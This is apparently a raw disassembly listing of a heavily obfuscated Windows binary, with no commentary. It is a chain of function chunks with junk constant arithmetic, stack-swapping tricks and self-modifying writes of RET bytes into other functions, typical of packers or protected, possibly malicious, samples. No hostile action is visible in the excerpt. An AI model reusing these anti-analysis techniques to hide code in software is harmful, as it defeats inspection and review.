; =============== S U B	R O U T	I N E =======================================



sub_43A041	proc near		; CODE XREF: y22d6.y.:00437166j
					; sub_43A041:loc_43CBBDp

; FUNCTION CHUNK AT 0043AE24 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C569 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043CBBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE61 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043FD95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004442B4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A931 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044C1BB SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jz	loc_4442B4
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_44A936
		jmp	loc_43C569
sub_43A041	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_43A05F:				; CODE XREF: sub_439E63:loc_4384AFj
		push	edx
		call	sub_44A46F
		shr	eax, 1Dh
		jmp	loc_439FA2
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43A06D:				; CODE XREF: sub_44B1D2:loc_43B59Fj
		and	edi, 80E50814h
		mov	esi, 8852639Ch
		jmp	loc_44A045
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		push	6CD8447h
		jmp	sub_43E77C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FEC6

loc_43A087:				; CODE XREF: sub_43FEC6:loc_44165Bj
		xchg	esi, [esp+0]
		push	0CABEC910h
		pop	ecx
		xor	ecx, 16867A31h
		jmp	loc_441C83
; END OF FUNCTION CHUNK	FOR sub_43FEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_43A09B:				; CODE XREF: sub_43D025:loc_4464A8j
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 5
		setz	al
		call	sub_443954
		pop	ecx
		shl	eax, 3
		jmp	loc_43A87C
; END OF FUNCTION CHUNK	FOR sub_43D025
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E14

loc_43A0B4:				; CODE XREF: sub_444E14+E7Dj
		jge	loc_449D4A
; END OF FUNCTION CHUNK	FOR sub_444E14
; START	OF FUNCTION CHUNK FOR sub_43D9D2

loc_43A0BA:				; CODE XREF: sub_43D9D2+Ej
		jmp	loc_441330
; END OF FUNCTION CHUNK	FOR sub_43D9D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43A0BF:				; CODE XREF: sub_449641:loc_43D40Aj
		jmp	loc_44DF17
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		or	ebp, 88912904h
		shl	edx, 0Eh
		jmp	loc_449D44
; ---------------------------------------------------------------------------

loc_43A0D2:				; DATA XREF: y22d6.y.:0044B59Ao
		xchg	edi, [esp]
		jnz	loc_44CCDA
		inc	ds:dword_44186C
		lea	eax, nullsub_344
		mov	byte ptr [eax],	0C3h
		call	nullsub_59
		jmp	loc_43AA99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_43A0F4:				; CODE XREF: sub_444F37:loc_43C381j
					; y22d6.y.:loc_43C396j
		call	sub_43A58D

loc_43A0F9:				; CODE XREF: sub_4481BC+Aj
		jmp	loc_44BB66
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_43A0FE:				; CODE XREF: sub_43E139+13E4j
		jmp	loc_44E334
; END OF FUNCTION CHUNK	FOR sub_43E139
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437712

loc_43A103:				; CODE XREF: sub_437712+44EAj
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_437712
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_43A109:				; CODE XREF: sub_444D95-D145j
		jmp	loc_43CEF3
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_43A10E:				; CODE XREF: sub_4409F4:loc_43AE5Fj
		mov	[edi], eax
		pop	edi
		lea	eax, sub_446222
		mov	byte ptr [eax],	0C3h
		jmp	sub_446222
; END OF FUNCTION CHUNK	FOR sub_4409F4

; =============== S U B	R O U T	I N E =======================================



sub_43A11F	proc near		; CODE XREF: sub_40158F+9Fp
					; sub_40158F+1ADp ...
		call	sub_43A148
		jmp	ds:off_41E014
sub_43A11F	endp

; ---------------------------------------------------------------------------

loc_43A12A:				; CODE XREF: y22d6.y.:0044D78Ej
		jmp	loc_4409D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_43A12F:				; CODE XREF: sub_4450FD+831j
		jmp	loc_43E8B9
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

loc_43A134:				; CODE XREF: y22d6.y.:00444965j
		jmp	loc_449C6D
; ---------------------------------------------------------------------------

loc_43A139:				; CODE XREF: y22d6.y.:00441D1Cj
		jmp	loc_4475DC
; ---------------------------------------------------------------------------

loc_43A13E:				; CODE XREF: y22d6.y.:00438B23j
		jmp	loc_438C35
; ---------------------------------------------------------------------------
		jmp	loc_448B41

; =============== S U B	R O U T	I N E =======================================



sub_43A148	proc near		; CODE XREF: sub_43A11Fp
					; sub_447663:loc_449B4Ej ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439DC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043AFBD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B041 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043BE19 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C1C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004408EF SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004417D0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004431E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DC8A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044E637 SIZE 00000005 BYTES

		pop	edx
		jnb	loc_4417D0
		jmp	loc_44E637
sub_43A148	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_43A154:				; CODE XREF: sub_444541:loc_438F08j
		or	ecx, 58928899h
		add	ecx, 8768491Ch
		xchg	ecx, [esp+0]
		jmp	loc_439FC6
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------
		call	sub_4476FF
		xchg	ebx, edi
		jmp	loc_44C138
; ---------------------------------------------------------------------------

loc_43A174:				; DATA XREF: y22d6.y.:004472A0o
		mov	eax, [eax]
		movzx	eax, word ptr [eax+6]
		mov	[ebp-10h], eax
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+14h]
		add	eax, [ebp-4]
		push	ebx
		push	0B918941Dh
		jmp	loc_44BC3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43A192:				; CODE XREF: sub_43BCA9-CA8j
		pop	eax
		and	eax, 0CE15F0FCh
		xor	eax, 27BAEB38h
		add	eax, 275C765h

loc_43A1A5:				; CODE XREF: y22d6.y.:0044B162j
		or	eax, 0CC42AA17h
		add	eax, 13D0FD9Bh
		jmp	loc_437AFC
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------

loc_43A1B6:				; CODE XREF: y22d6.y.:0044AF17j
		jle	loc_44AC12

; =============== S U B	R O U T	I N E =======================================



sub_43A1BC	proc near		; CODE XREF: sub_43BEF7+2205p

; FUNCTION CHUNK AT 00438007 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00439300 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B0CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FC19 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_439300
		jmp	loc_438007
sub_43A1BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_43A1CB:				; CODE XREF: sub_4480DE:loc_449525j
		mov	eax, [ebp+var_4]
		call	sub_43DD42
; END OF FUNCTION CHUNK	FOR sub_4480DE
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_43A1D3:				; CODE XREF: sub_437B43:loc_44AC43j
		mov	esi, edx
		push	offset loc_43F452
		jmp	loc_4413D4
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_43A1DF:				; CODE XREF: sub_43E86C+7356j
		xchg	eax, ecx
		jmp	loc_44B25A
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_43A1E6:				; CODE XREF: sub_43B7D4+BFCDj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h

loc_43A1EF:				; CODE XREF: sub_44B1D2:loc_437580j
		jz	loc_44B25A
		jmp	loc_441F44
; END OF FUNCTION CHUNK	FOR sub_43B7D4

; =============== S U B	R O U T	I N E =======================================



sub_43A1FA	proc near		; CODE XREF: y22d6.y.:004451B7p
					; y22d6.y.:0044ACE3j

; FUNCTION CHUNK AT 00441E05 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_44A413
		mov	eax, 0A5559D12h
		push	eax
		push	0AAB43D9Eh
		pop	eax
		jmp	loc_441E05
sub_43A1FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	ecx, 5
		shr	ebx, 17h
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43A21B:				; CODE XREF: sub_449641:loc_44A0DFj
		jmp	loc_449AD5
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_43A220:				; CODE XREF: sub_4416F3:loc_43AC79j
		jz	loc_43BF27
		jmp	loc_440EB5
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43A22B:				; CODE XREF: sub_44B17B-8B0j
		test	ebp, edi
		jmp	loc_444318
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_43A232:				; CODE XREF: sub_440395+857Dj
		adc	eax, 0FC84C938h
		pop	edi
		jmp	loc_44628D
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
		cdq
		shr	edx, 0Dh
		jmp	loc_440C2A
; ---------------------------------------------------------------------------

loc_43A247:				; CODE XREF: y22d6.y.:loc_444027j
		pop	edi
		or	edi, 219CD789h
		add	edi, 0D486BF38h
		xchg	edi, [esp]
		jmp	nullsub_59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_43A25C:				; CODE XREF: sub_440494:loc_438EC0j
		xchg	ecx, [esp+4+var_4]
		jmp	loc_4494E1
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
		mov	eax, 462C961Fh
		push	ebx
		push	9E254F61h
		jmp	loc_43E0D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445629

loc_43A274:				; CODE XREF: sub_445629+Ej
		push	932B5B75h
		pop	esi
		and	esi, ds:4000E6h
		add	esi, 7D1B3B99h
		xchg	esi, [esp+4+var_4]
		jmp	sub_44C171
; END OF FUNCTION CHUNK	FOR sub_445629

; =============== S U B	R O U T	I N E =======================================



sub_43A28E	proc near		; CODE XREF: y22d6.y.:0043B10Aj
					; sub_44B17B+194p

; FUNCTION CHUNK AT 00449AED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BB15 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, 0D4D46998h
		sub	eax, 5794CDB1h
		push	ebx
		push	66775992h
		pop	ebx
		add	ebx, 0DE508EEAh
		jmp	loc_449AED
sub_43A28E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43A2B0:				; CODE XREF: sub_44B1D2:loc_43C7AFj
		jnz	loc_43B90E
		jmp	loc_43A749
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440330

loc_43A2BB:				; CODE XREF: sub_440330:loc_4377A6j
		jge	loc_44C30D

loc_43A2C1:				; CODE XREF: sub_4432B8+5238j
		jmp	loc_44CD85
; END OF FUNCTION CHUNK	FOR sub_440330
; ---------------------------------------------------------------------------
		sbb	ebp, edi
		rol	ebp, 0Fh
		not	ecx
		jmp	loc_44C307
; ---------------------------------------------------------------------------

loc_43A2D2:				; CODE XREF: y22d6.y.:00443ECCj
		call	sub_44E357
; START	OF FUNCTION CHUNK FOR sub_445382

loc_43A2D7:				; CODE XREF: sub_445382+5DD9j
		jmp	nullsub_337
; END OF FUNCTION CHUNK	FOR sub_445382
; ---------------------------------------------------------------------------

loc_43A2DC:				; CODE XREF: y22d6.y.:00440F24j
		jmp	loc_437839
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43A2E1:				; CODE XREF: sub_448EB6-87FAj
		jmp	loc_44B1E9
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_43A2E6:				; CODE XREF: sub_43E5C2-38CEj
		call	sub_4449C0
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_43A2EB:				; CODE XREF: sub_437FD8:loc_44E1FCj
		jnz	loc_43A52F

loc_43A2F1:				; CODE XREF: y22d6.y.:0043719Aj
		jmp	loc_44DDFC
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_43A2F6:				; CODE XREF: sub_44D3B1:loc_43B599j
					; y22d6.y.:0043B5ABj
		and	ebx, 0E60027FEh
		sub	ebx, 791E1525h
		cmp	ebx, 7F29EAA9h
		jmp	loc_438998
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E51C

loc_43A30D:				; CODE XREF: sub_44E51C:loc_44B9D8j
					; y22d6.y.:0044B9F9j
		add	esi, 185C7F5h
		xchg	esi, [esp+0]
		jmp	loc_4451C7
; END OF FUNCTION CHUNK	FOR sub_44E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449ECF

loc_43A31B:				; CODE XREF: sub_449ECF:loc_44499Aj
		add	edx, ebp
		add	edx, 0C68F08B9h
		mov	[edx], eax
		pop	edx
		call	sub_43B3CC

loc_43A32B:				; CODE XREF: y22d6.y.:0044DDF6j
		jmp	loc_43BA10
; END OF FUNCTION CHUNK	FOR sub_449ECF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_43A330:				; CODE XREF: sub_43FAC6+2431j
		jmp	loc_439DFA
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43A335:				; CODE XREF: sub_4432B8-6639j
		jmp	nullsub_60
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_43A33A:				; CODE XREF: y22d6.y.:00439617j
		jmp	loc_44BB37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437833

loc_43A33F:				; CODE XREF: sub_437833+1j
		jmp	loc_4429EB
; END OF FUNCTION CHUNK	FOR sub_437833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_43A344:				; CODE XREF: sub_44364E:loc_441834j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_43E6E6
; END OF FUNCTION CHUNK	FOR sub_44364E
; ---------------------------------------------------------------------------

loc_43A34C:				; CODE XREF: y22d6.y.:0044C99Cj
		inc	dword ptr [ebp-1Ch]
		jmp	loc_44B66F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_43A354:				; CODE XREF: sub_43F35E:loc_43EF03j
					; sub_4385ED:loc_44245Fj ...
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		jmp	loc_441925
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------

loc_43A35F:				; CODE XREF: y22d6.y.:loc_43BED3j
					; y22d6.y.:loc_43DDCBj
		jnz	loc_437E5D

loc_43A365:				; CODE XREF: y22d6.y.:0044C69Aj
		jmp	locret_447FA9
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_437E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_43A371:				; CODE XREF: sub_43E81B+91B1j
		xor	edx, 0ABACED5Eh
		rol	edx, 1Fh
		sub	edx, 0AAEE9F0Dh
		xor	edx, 0AA9BF002h
		add	edx, ebp
		add	edx, 27EC8493h
		jmp	loc_44979E
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------

loc_43A393:				; CODE XREF: y22d6.y.:loc_44811Aj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_43A395:				; CODE XREF: sub_43EC01+9j
		jmp	loc_4383D5
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_43A39A:				; CODE XREF: sub_44B196-13552j
					; sub_444D95:loc_43CEF3j ...
		mov	al, 1
		jmp	loc_44CDA7
; ---------------------------------------------------------------------------

loc_43A3A1:				; CODE XREF: sub_44B196:loc_437C38j
					; sub_444D95+4j
		inc	dword ptr [ebp-4]
		jmp	loc_44D427
; END OF FUNCTION CHUNK	FOR sub_444D95

; =============== S U B	R O U T	I N E =======================================



sub_43A3A9	proc near		; CODE XREF: sub_4480DE-2137p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043E989 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044D546 SIZE 00000006 BYTES

		call	sub_44D43E
		push	ecx
		mov	ecx, [esp+4+arg_8]

loc_43A3B3:				; CODE XREF: y22d6.y.:00447096j
		jmp	loc_43E989
sub_43A3A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_43A3B8:				; CODE XREF: sub_43C712-4F72j
					; y22d6.y.:004377B3j
		and	esi, 0DE58F97Fh
		add	esi, 32390079h

loc_43A3C4:				; CODE XREF: y22d6.y.:loc_447E77j
		mov	[esi], eax
		pop	esi
		lea	eax, sub_44B81B
		mov	byte ptr [eax],	0C3h
		jmp	sub_44B81B
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C8E9

loc_43A3D5:				; CODE XREF: sub_44C8E9:loc_44B9DEj
		pop	edx
		xor	edx, 0BCD13DE1h
		add	edx, 0FDE61D8Dh
		xchg	edx, [esp+0]
		jmp	loc_445A2D
; END OF FUNCTION CHUNK	FOR sub_44C8E9
; ---------------------------------------------------------------------------
		push	edx
		push	24DF01A6h
		pop	edx
		and	edx, 0BAFF1F2Ch
		xor	edx, 9F55D4D3h
		call	sub_4382FE
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_43A402:				; CODE XREF: sub_43923C+AA9Dj
		jmp	loc_448AA4
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------

loc_43A407:				; CODE XREF: y22d6.y.:0043D5F9j
		jmp	sub_43923C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43A40C:				; CODE XREF: sub_44633F-8D54j
		jmp	loc_43EEA6
; END OF FUNCTION CHUNK	FOR sub_44633F

; =============== S U B	R O U T	I N E =======================================



sub_43A411	proc near		; CODE XREF: sub_44DA98-52E2p
		push	ebx
		mov	ebx, esi
		call	sub_449E4B
sub_43A411	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44ABDD

loc_43A419:				; CODE XREF: sub_44ABDD-11631j
		jmp	nullsub_335
; END OF FUNCTION CHUNK	FOR sub_44ABDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43A41E:				; CODE XREF: sub_4432B8:loc_44353Fj
		pop	eax
		rol	ecx, 1
		add	ecx, 5B5D377h
		and	ecx, 0E285FB36h
		rol	ecx, 1Fh
		add	ecx, 9043FC68h
		jmp	loc_4426BA
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43A43C:				; CODE XREF: sub_4432B8+2A4j
		jmp	loc_4417F1
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43A441:				; CODE XREF: sub_43837F+2F9Fj
		jmp	loc_43D4E7
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_43A446:				; CODE XREF: sub_44371A-836Bj
		jp	loc_4449F5

loc_43A44C:				; CODE XREF: sub_44371A:loc_44A80Ej
		call	sub_43760A
		mov	edx, 0D504D785h
		call	sub_44D293
		jmp	loc_43D75F
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------

loc_43A460:				; CODE XREF: y22d6.y.:00443816j
		cdq
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_437B10

loc_43A462:				; CODE XREF: sub_437B10:loc_443809j
		add	ecx, 0A632AF6h
		rol	ecx, 12h
		add	ecx, 858C14B4h
		popf
		jmp	loc_43959D
; END OF FUNCTION CHUNK	FOR sub_437B10
; ---------------------------------------------------------------------------
		add	ebx, ecx
		jmp	sub_44CEAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_43A47E:				; CODE XREF: sub_43872E:loc_4376B2j
		mov	eax, 649E33C4h
		push	edi
		push	3C4BDB7Dh
		pop	edi
		xor	edi, 6314A885h

loc_43A490:				; CODE XREF: y22d6.y.:loc_43DD72j
		jmp	loc_443A57
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43A495:				; CODE XREF: sub_43BCA9:loc_43DB9Ej
		push	4BB6D43Ch
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp

loc_43A4A0:				; CODE XREF: y22d6.y.:00447191j
		rol	ecx, 1Ch
		add	ecx, 3B89289Ch
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_4463CE
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
		or	ebx, 375A8F63h
		jmp	loc_437809
; ---------------------------------------------------------------------------
		test	eax, ebx
		jmp	loc_4497BD
; ---------------------------------------------------------------------------
		and	ebp, esi
		jmp	sub_441AE7
; ---------------------------------------------------------------------------
		push	edx
		call	sub_440943
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_43A4D0:				; CODE XREF: sub_4425E0+A5C1j
		jmp	loc_441B3F
; END OF FUNCTION CHUNK	FOR sub_4425E0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43A4D6:				; CODE XREF: sub_44AEDA-12FC6j
		jmp	loc_445EF8
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_43A4DB:				; CODE XREF: y22d6.y.:loc_44BF67j
		mov	ecx, ebp
		adc	edi, edx
		jmp	loc_4437C6

; =============== S U B	R O U T	I N E =======================================



sub_43A4E4	proc near		; CODE XREF: y22d6.y.:0043AA33j
					; y22d6.y.:loc_442036p

; FUNCTION CHUNK AT 004473CB SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		lea	eax, dword_4401FC
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_4473CB
sub_43A4E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_43A4F8:				; CODE XREF: sub_43F750+61CAj
		add	edx, 4F7D8B03h
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_4384D6
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_43A507:				; CODE XREF: sub_43C7C1:loc_449837j
		jz	loc_43870C
		jmp	loc_438F25
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------

loc_43A512:				; CODE XREF: y22d6.y.:loc_446271j
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		push	eax
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43A519:				; CODE XREF: sub_438B66:loc_437790j
		call	sub_43AC88
		jmp	loc_43C14E
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43A523:				; CODE XREF: sub_4432B8-A87Aj
		jnb	loc_44B0D0
		add	ebx, 5F6362E6h

loc_43A52F:				; CODE XREF: sub_437FD8:loc_43A2EBj
		push	0B348355Ch
		pop	eax
		sub	eax, 983AC69Fh

loc_43A53B:				; CODE XREF: y22d6.y.:0044C187j
		xor	eax, 3C6C5675h
		add	eax, ebp
		jmp	loc_446E27
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_43A548:				; CODE XREF: y22d6.y.:00445131j
		sub	al, 99h
		mov	edx, [ebp-4]

loc_43A54D:				; CODE XREF: y22d6.y.:loc_43C0C8j
		imul	byte ptr [edx]
		call	sub_44122D
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43A554:				; CODE XREF: sub_44B17B-E30Aj
		jmp	loc_4470F1
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB23

loc_43A559:				; CODE XREF: sub_43DB23-484Cj
		mov	edi, ebx
		xchg	edi, [esp+8+var_8]
		push	54AD109Bh
		pop	ebx
		add	ebx, 17F0C3B5h
		xor	ebx, 0B9E28CCBh
		jmp	loc_44771E
; END OF FUNCTION CHUNK	FOR sub_43DB23
; ---------------------------------------------------------------------------

loc_43A575:				; CODE XREF: y22d6.y.:loc_44476Ej
					; y22d6.y.:0044C2CCj
		mov	eax, [ebp-4]
		call	nullsub_347
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_347. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A57F:				; CODE XREF: y22d6.y.:0043ED00j
		mov	eax, [ebp-4]
		push	eax
		call	sub_448E18
		jmp	loc_4449F0

; =============== S U B	R O U T	I N E =======================================



sub_43A58D	proc near		; CODE XREF: sub_444F37:loc_43A0F4p
					; y22d6.y.:00445007j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00437D3D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BAB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C532 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DC49 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F736 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FA17 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00444129 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00446303 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00447B1A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00448BF2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449AD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B5EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044BF62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D67B SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 331A4C51h
		xchg	eax, [esp+0]
		jmp	loc_448BF2
sub_43A58D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A5A0:				; CODE XREF: y22d6.y.:0043D882j
		jmp	loc_44218D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DA7

loc_43A5A5:				; CODE XREF: sub_441DA7-6B5Aj
		jmp	sub_439E63
